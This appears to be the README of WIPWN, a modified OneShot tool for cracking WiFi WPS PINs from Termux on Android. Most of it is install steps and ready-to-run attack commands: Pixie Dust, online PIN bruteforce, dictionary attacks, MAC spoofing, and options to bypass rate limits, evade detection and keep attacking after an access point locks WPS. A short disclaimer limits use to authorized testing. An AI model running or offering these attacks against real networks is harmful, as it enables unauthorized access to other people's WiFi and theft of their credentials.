Fast and automated WiFi WPS PIN cracking tool with advanced attack features.
⚠️ Note: WIPWN is optimized for Termux From F-Droid on Android. For best results and compatibility, use Termux. Kali/Debian support is legacy.
- Advanced WPS Scanning: Features a managed mode WPS scanner that does not strictly require monitor mode to find vulnerable APs.
- Smart Interface Selection: Automatically detects and selects the best wireless interface if
-ior--interfaceis not provided. - Cross-Platform Diagnostics: Native environment checks (
--doctor,--dependencies,--interfaces) tailored for Linux and Android (Termux).
- Pixie Dust Attack: Exploits low entropy in some APs' PRNG (
-K,--pixie-dust). - Pixie Force: Runs Pixiewps with forced full-range bruteforcing (
-F,--pixie-force). - Online Bruteforce: Traditional WPS PIN bruteforce (
-B,--bruteforce). - Dictionary Attack: Fast password testing using a custom or default wordlist (
--dictionary-attack). - Push Button Connect (PBC): WPS push button connection simulation (
--pbc).
- Vulnerability Checks: Automatically detects weak WPS algorithms and compares targets against a known vulnerable devices database.
- Signal Analysis: Evaluates signal strength and patterns for better attack targeting.
- Rate Limit Detection: Proactively checks if the target AP implements rate-limiting.
- MAC Spoofing: Randomize MAC address on every attempt or use a custom MAC (
--spoof-mac,--custom-mac). - Rate Limit Bypass: Intelligent delays, sleep on failure, and channel hopping to evade detection and locks (
--bypass-rate-limit,--channel-hop). - Ignore Locks: Optionally continue attacking even when the AP announces a WPS lock (
-L).
- Python 3.8+
- aircrack-ng suite
- wpa_supplicant
- pixiewps
- Termux
pkg update && pkg upgrade -y
pkg install root-repo -y
pkg install git python wpa-supplicant pixiewps iw openssl -y
pkg install tsu -y || pkg install sudo -y
git clone https://github.com/anbuinfosec/wipwn
cd wipwn
chmod +x main.py# Remove wipwn
rm -rf /path/to/wipwn
# Remove sessions/data (optional)
rm -rf ~/.Wipwn/sudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K-i wlan0: WiFi interface-b AA:BB:CC:DD:EE:FF: Target BSSID-K: Pixie Dust attack
sudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF --online-bruteforce --bruteforce-threads 8 --pin-limit 5000sudo python3 main.py -i wlan0 --detect-weak-algosudo python3 main.py -i wlan0 --advanced-recon --signal-analysissudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --detect-rate-limit --bypass-rate-limitsudo python3 main.py -i wlan0 \
-K \
--advanced-recon \
--detect-weak-algo \
--spoof-mac \
--html-report \
--auto-vuln-list# Create session
sudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -s session1
# Resume session
sudo python3 main.py -i wlan0 --resume-session session1
# List sessions
sudo python3 main.py --list-sessionssudo python3 main.py -i wlan0 --html-report --detailed-report --report-dir ./reportssudo python3 main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -p 12345678sudo python3 main.py --qr --ssid "TargetWiFi" --password "CrackedSecret123"-K, --pixie-dust Pixie Dust attack
-B, --bruteforce Online bruteforce
-F, --pixie-force Pixiewps force mode
--pbc Push button connect
-p, --pin PIN Use specific PIN
--dictionary-attack Dictionary password attack-i, --interface Interface (required)
-b, --bssid Target BSSID
-s, --session ID Save/restore session
--channel-hop Enable channel hopping
--spoof-mac Spoof MAC address--detect-rate-limit Check for rate limiting
--bypass-rate-limit Attempt bypass
--detect-weak-algo Find weak algorithms
--advanced-recon Network fingerprinting-w, --write Save credentials
--auto-vuln-list Add to vulnerability list
--html-report Generate HTML report
--json-output FILE Save results as JSON
--csv-output FILE Save results as CSV-t, --timeout SEC Receive timeout
-d, --delay SEC Delay between attempts
-l, --lock-delay SEC Wait after lock
--bruteforce-threads N Number of threads~/.Wipwn/
├── sessions/ # Saved sessions & cracked networks
├── wordlists/ # Dictionary files
└── reports/ # Generated reports
vulnwsc.txt # Vulnerability list
[+]= Success[i]= Information[!]= Warning[-]= Error[?]= Question
Networks are marked with color indicators during scanning:
- 🟢 Green - Possibly vulnerable (WPS enabled, no protection detected)
- 🔴 Red - WPS locked (AP is actively blocking WPS attempts)
- 🟡 Yellow - Already stored (Network credentials cracked and saved in vulnwsc.txt)
- ⚪ White - Maybe vulnerable (WPS unclear, needs further analysis)
iwconfig
sudo airmon-ngsudo python3 main.py -i wlan0sudo python3 main.py -i wlan0 -b BSSID -K -t 20sudo python3 main.py -i wlan0 -b BSSID -K --bypass-rate-limit# Scan only
sudo python3 main.py -i wlan0
# Quick attack (Pixie Dust + Save)
sudo python3 main.py -i wlan0 -b BSSID -K -w
# Full test with reports
sudo python3 main.py -i wlan0 --advanced-recon --html-report -w
# Bruteforce
sudo python3 main.py -i wlan0 -b BSSID -B --bruteforce-threads 8
# Dictionary attack
sudo python3 main.py -i wlan0 -b BSSID --dictionary-attack --wordlist wordlist.txt| 💵 USDT (BEP20) | 📱 bKash | 💎 GRAM (TON) |
0x3ad5146f733ff16e2251 |
01615827704 |
UQD4EaT4BWECPqZT16kt |
| BNB Smart Chain | BanglaQr | The Open Network |
This tool is for authorized security testing ONLY.
- Only test networks you own or have permission to test
- Unauthorized access is illegal
- User assumes all responsibility
OneShot v0.0.2 | Modified by @anbuinfosec